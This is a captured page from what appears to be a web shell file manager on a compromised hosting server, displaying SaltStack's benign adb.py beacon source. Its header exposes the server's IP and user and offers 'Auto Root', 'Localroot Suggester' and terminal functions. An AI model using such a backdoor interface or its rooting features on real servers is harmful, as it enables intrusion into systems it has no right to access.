Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
salt /
beacons /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
18.16
KB
-rw-r--r--
2022-05-16 09:16
adb.py
5.2
KB
-rw-r--r--
2022-05-16 09:16
aix_account.py
1.33
KB
-rw-r--r--
2022-05-16 09:16
avahi_announce.py
8.53
KB
-rw-r--r--
2022-05-16 09:16
bonjour_announce.py
8.21
KB
-rw-r--r--
2022-05-16 09:16
btmp.py
8.33
KB
-rw-r--r--
2022-05-16 09:16
cert_info.py
5.82
KB
-rw-r--r--
2022-05-16 09:16
diskusage.py
3.35
KB
-rw-r--r--
2022-05-16 09:16
glxinfo.py
1.84
KB
-rw-r--r--
2022-05-16 09:16
haproxy.py
3.02
KB
-rw-r--r--
2022-05-16 09:16
inotify.py
11.88
KB
-rw-r--r--
2022-05-16 09:16
journald.py
2.61
KB
-rw-r--r--
2022-05-16 09:16
junos_rre_keys.py
723
B
-rw-r--r--
2022-05-16 09:16
load.py
5.95
KB
-rw-r--r--
2022-05-16 09:16
log_beacon.py
3.67
KB
-rw-r--r--
2022-05-16 09:16
memusage.py
1.57
KB
-rw-r--r--
2022-05-16 09:16
napalm_beacon.py
11.61
KB
-rw-r--r--
2022-05-16 09:16
network_info.py
4.66
KB
-rw-r--r--
2022-05-16 09:16
network_settings.py
6.53
KB
-rw-r--r--
2022-05-16 09:16
pkg.py
2.57
KB
-rw-r--r--
2022-05-16 09:16
proxy_example.py
1.48
KB
-rw-r--r--
2022-05-16 09:16
ps.py
2.23
KB
-rw-r--r--
2022-05-16 09:16
salt_monitor.py
4.06
KB
-rw-r--r--
2022-05-16 09:16
salt_proxy.py
1.81
KB
-rw-r--r--
2022-05-16 09:16
sensehat.py
2.82
KB
-rw-r--r--
2022-05-16 09:16
service.py
6.15
KB
-rw-r--r--
2022-05-16 09:16
sh.py
3.1
KB
-rw-r--r--
2022-05-16 09:16
smartos_imgadm.py
2.6
KB
-rw-r--r--
2022-05-16 09:16
smartos_vmadm.py
3.34
KB
-rw-r--r--
2022-05-16 09:16
status.py
4.11
KB
-rw-r--r--
2022-05-16 09:16
swapusage.py
1.57
KB
-rw-r--r--
2022-05-16 09:16
telegram_bot_msg.py
2.45
KB
-rw-r--r--
2022-05-16 09:16
twilio_txt_msg.py
2.65
KB
-rw-r--r--
2022-05-16 09:16
watchdog.py
4.79
KB
-rw-r--r--
2022-05-16 09:16
wtmp.py
10.17
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" Beacon to emit adb device state changes for Android devices .. versionadded:: 2016.3.0 """ import logging import salt.utils.beacons import salt.utils.path log = logging.getLogger(__name__) __virtualname__ = "adb" last_state = {} last_state_extra = {"value": False, "no_devices": False} def __virtual__(): which_result = salt.utils.path.which("adb") if which_result is None: return False else: return __virtualname__ def validate(config): """ Validate the beacon configuration """ # Configuration for adb beacon should be a dictionary with states array if not isinstance(config, list): log.info("Configuration for adb beacon must be a list.") return False, "Configuration for adb beacon must be a list." config = salt.utils.beacons.list_to_dict(config) if "states" not in config: log.info("Configuration for adb beacon must include a states array.") return False, "Configuration for adb beacon must include a states array." else: if not isinstance(config["states"], list): log.info("Configuration for adb beacon must include a states array.") return False, "Configuration for adb beacon must include a states array." else: states = [ "offline", "bootloader", "device", "host", "recovery", "no permissions", "sideload", "unauthorized", "unknown", "missing", ] if any(s not in states for s in config["states"]): log.info( "Need a one of the following adb states: %s", ", ".join(states) ) return ( False, "Need a one of the following adb states: {}".format( ", ".join(states) ), ) return True, "Valid beacon configuration" def beacon(config): """ Emit the status of all devices returned by adb Specify the device states that should emit an event, there will be an event for each device with the event type and device specified. .. code-block:: yaml beacons: adb: - states: - offline - unauthorized - missing - no_devices_event: True - battery_low: 25 """ log.trace("adb beacon starting") ret = [] config = salt.utils.beacons.list_to_dict(config) out = __salt__["cmd.run"]("adb devices", runas=config.get("user", None)) lines = out.split("\n")[1:] last_state_devices = list(last_state.keys()) found_devices = [] for line in lines: try: device, state = line.split("\t") found_devices.append(device) if device not in last_state_devices or ( "state" in last_state[device] and last_state[device]["state"] != state ): if state in config["states"]: ret.append({"device": device, "state": state, "tag": state}) last_state[device] = {"state": state} if "battery_low" in config: val = last_state.get(device, {}) cmd = "adb -s {} shell cat /sys/class/power_supply/*/capacity".format( device ) battery_levels = __salt__["cmd.run"]( cmd, runas=config.get("user", None) ).split("\n") for l in battery_levels: battery_level = int(l) if 0 < battery_level < 100: if "battery" not in val or battery_level != val["battery"]: if ( "battery" not in val or val["battery"] > config["battery_low"] ) and battery_level <= config["battery_low"]: ret.append( { "device": device, "battery_level": battery_level, "tag": "battery_low", } ) if device not in last_state: last_state[device] = {} last_state[device].update({"battery": battery_level}) except ValueError: continue # Find missing devices and remove them / send an event for device in last_state_devices: if device not in found_devices: if "missing" in config["states"]: ret.append({"device": device, "state": "missing", "tag": "missing"}) del last_state[device] # Maybe send an event if we don't have any devices if "no_devices_event" in config and config["no_devices_event"] is True: if not found_devices and not last_state_extra["no_devices"]: ret.append({"tag": "no_devices"}) # Did we have no devices listed this time around? last_state_extra["no_devices"] = not found_devices return ret